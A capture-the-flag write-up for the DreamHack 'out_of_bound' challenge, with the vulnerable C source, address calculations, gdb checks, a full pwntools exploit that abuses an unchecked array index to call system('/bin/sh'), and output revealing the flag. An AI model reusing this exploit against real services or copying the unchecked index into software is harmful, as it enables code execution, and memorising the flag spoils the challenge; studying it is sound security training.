[🥉 Bronze 4] 경계 없는 배열 인덱스로 system 인자 바꿔치기 — DreamHack out_of_bound 풀이

char name[16];
 
char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
 
int main()
{
    int idx;
 
    initialize();
 
    printf("Admin name: ");
    read(0, name, sizeof(name));     // (1) name 16바이트를 우리가 채운다
 
    printf("What do you want?: ");
    scanf("%d", &idx);               // (2) idx — 부호 있는 int, 범위 검사 없음
 
    system(command[idx]);            // (3) command[idx]를 명령으로 실행
 
    return 0;
}

nm out_of_bound | grep -E " name| command"; objdump -s -j .data out_of_bound | sed -n "5,8p"

system( command[19] )
  = system( *(0x804a0ac) )     ; command[19] == name[0:4]
  = system( 0x804a0b0 )         ; name[0:4]에 우리가 심은 포인터
  = system( "/bin/sh" )         ; 0x804a0b0 = name+4 = "/bin/sh"

gdb -q ./out_of_bound
break system
run < input            # name = p32(0x804a0b0)+"/bin/sh\0"+pad, 그다음 idx="19"
x/s command[19]        # command[19] = *(name) → "/bin/sh"
x/s *(char**)($esp+4)  # i386 cdecl: system 인자 == "/bin/sh"

p32(0x804a0b0)  +  b"/bin/sh\x00"  +  b"AAAA"
└ name[0:4]        └ name[4:12]         └ name[12:16] 패딩
  = name+4 포인터    = "/bin/sh"

#!/usr/bin/env python3
# out_of_bound (Dreamhack, Bronze 4) — OOB index on command[] → system("/bin/sh")
from pwn import *
 
context.update(arch="i386", os="linux", log_level="error")
 
NAME    = 0x804a0ac            # char name[16]
COMMAND = 0x804a060            # char *command[10]
IDX     = (NAME - COMMAND) // 4    # = 19
 
# name = [ ptr -> "/bin/sh" ][ "/bin/sh\0" ], padded to 16 so read() consumes it all
payload = p32(NAME + 4) + b"/bin/sh\x00"
payload = payload.ljust(16, b"A")
 
p = remote("host8.dreamhack.games", 15446) if args.REMOTE else process("./out_of_bound")
 
p.recvuntil(b"Admin name: ")
p.send(payload)                       # read(0, name, 16)
p.recvuntil(b"What do you want?: ")
p.sendline(str(IDX).encode())         # scanf("%d", &idx)  -> system("/bin/sh")
 
# we now have a shell — pull the flag and print it
p.sendline(b"cat flag")
p.recvuntil(b"DH{")
flag = b"DH{" + p.recvuntil(b"}")
print("[+] idx     =", IDX)
print("[+] payload =", payload)
print("[+] FLAG    =", flag.decode())
p.close()

[+] idx     = 19
[+] payload = b'\xb0\xa0\x04\x08/bin/sh\x00AAAA'
[+] FLAG    = DH{2524e20ddeee45f11c8eb91804d57296}